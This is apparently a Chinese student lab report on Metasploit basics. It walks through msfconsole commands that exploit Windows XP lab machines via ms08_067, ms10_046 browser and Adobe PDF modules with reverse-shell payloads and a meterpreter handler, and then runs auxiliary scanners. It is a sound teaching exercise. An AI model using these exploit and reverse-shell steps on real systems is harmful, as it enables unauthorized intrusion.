2015306 白皎 《网络攻防》Exp5 MSF基础应用
一、基础问题
- 用自己的话解释什么是exploit,payload,encode.
exploit指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,选择exploit模块的数量、源码,将真正要负责攻击的代码传送到靶机中。
payload也就是载荷,是目标系统在被渗透攻击之后去执行的代码,就像我们之前的shellcode。
encode进行编码,确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”,以及改变特征码,对攻击载荷进行“免杀”处理
二、实践内容
1.1一个主动攻击实践【ms08_067】
- 启用msf终端
msfconsole
- 使用search命令搜索该漏洞对应的模块,可以看到渗透攻击模块路径名为“exploit/windows/smb/ms08_067_netapi”
search ms08_067
- 启用该渗透攻击模块来查看基本信息
use exploit/windows/smb/ms08_067_netapi
-查看该模块所适用的攻击载荷模块,之后选择其中一个
show payloads
- 选择攻击载荷:
set payload generic/shell_reverse_tcp
- 查看配置渗透攻击所需的配置项:
show options
- 根据目标情况配置渗透攻击的各个选项,
set RHOST 192.168.241.130 //设置攻击Ip
set LPORT 5306//回连主机端口号
set LHOST 192.168.241.129//被攻击机ip
set target 5//目标系统类型为5
- 查看设置后的选项设置的值是否正确
- 发起渗透攻击
exploit
1.2 一个针对浏览器的攻击【ms10_046】
- 使用search命令搜索该漏洞对应的模块,可以看到渗透攻击模块路径名
search ms11_050
- 启用该渗透攻击模块来查看基本信息
use windows/browser/ms11_050_mshtml_cobjectelement
-查看该模块所适用的攻击载荷模块,之后选择其中一个
show payloads
- 选择攻击载荷:
set payload generic/shell_reverse_tcp
- 查看配置渗透攻击所需的配置项,根据目标情况配置渗透攻击的各个选项
show options
set SRVHOST 192.168.44.130 //本地监听主机的IP地址,即攻击Ip
set LPORT 5306//回连主机端口号
set LHOST 192.168.44.130//攻击机ip
set URIPATH 20155306
- 查看设置后的选项设置的值是否正确
但是不知道为什么用ms11_050模块总是攻击不成功,换了好几种不同的xp都不行,所以下面用ms10_046来实现。
- 一些搜索的步骤和之前一样,在这里就不再赘述。我们直接使用该模块:
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
- 用
show payloads
来查看我们可以使用的载荷,并选择一个使用
- 通过
show options
查看需要设置的参数,进行设置后,再次用show options
来检查
set SRVHOST 192.168.44.130
set LPORT 5306
set LHOST 192.168.44.130
set URIPATH 20155306//选择性设置
- 发起渗透攻击,可以看到生成了一个url
exploit
- 在靶机的IE浏览器上使用该url进行访问,在MSF终端看见漏洞执行成功
- 使用
sessions
指令查看当前存在的会话,然后使用sessions -i 1选择会话1,即可获取靶机信息,其ip是192.168.44.129是我的xp没错啦,然后用shell获取靶机的命令行
1.3 一个针对客户端的攻击【Adobe】
- 使用search命令搜索该漏洞对应的模块,可以自己任意选择一个使用,
search adobe
use exploit/windows/fileformat/adobe_toolbutton
-查看载荷模块,并选择其中一个
show payloads
set payload generic/shell_reverse_tcp
- 查看配置渗透攻击所需的配置项,修改配置后再进行检查
show options
set LPORT 5306//回连主机端口号
set LHOST 192.168.44.130//攻击机ip
set FILENAME 5306.pdf
- 发起渗透攻击,可以看到/root/.msf4/local/下生成5306.pdf的文件
exploit
- 然后使用监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.44.130
set LPORT 5306
- 将pdf文件复制粘贴到xp靶机上,用adobe方式打开,可以看到成功获取靶机的shell啦
1.4 成功应用任何一个辅助模块【 scanner/mysql/mysql-version, scanner/portscan/syn,rdp/ms12_020check】
- 使用search命令搜索辅助模块
1. scanner/mysql/mysql-version模块
-
首先我选择的是 scanner/mysql/mysql-version
-
use scanner/mysql/mysql-version
应用该模块,然后通过通过show options
查看需要设置的参数,设置好之后,便可以进行扫描,得到靶机数据库的版本。
2. scanner/portscan/syn模块
- 同理,通过
use scanner/portscan/syn
应用该模块,然后通过通过show options
查看需要设置的参数
- 检查参数设置无误之后,开始扫描,可以直观的看到靶机开放连接一些端口号
3. rdp/ms12_020check模块
- auxiliary/scanner/rdp/ms12_020_check验证目标机是否具有此漏洞。具体步骤如下图所示:
- 运行后显示关于漏洞是否可利用是不可靠的
三、 遇到的问题
问题一:配置好参数之后运行时,出现Hander failed to bind to192.168.44.128:56,为什么本机的ip,端口号都无法绑定?
解决:我尝试用ifconfig查看本机ip,发现查不到说明我的kali没有联网。打开/etc/network/interfaces,如下图增加最后两行。最后,在terminal里执行 /etc/init.d/networking restart 重启网络,使刚才的配置生效,done。详见教程:kali无法正常上网的解决过程。
四、 实践总结与体会
本次实验感受到msf平台是很强大的,有特别多不同的模块,不同的功能来帮助我们去了解靶机信息。
但从另一方面讲,我们的windows也这样暴露在外面,可以被别人进行信息搜集和攻击,因此一定要经常杀杀毒,打好补丁!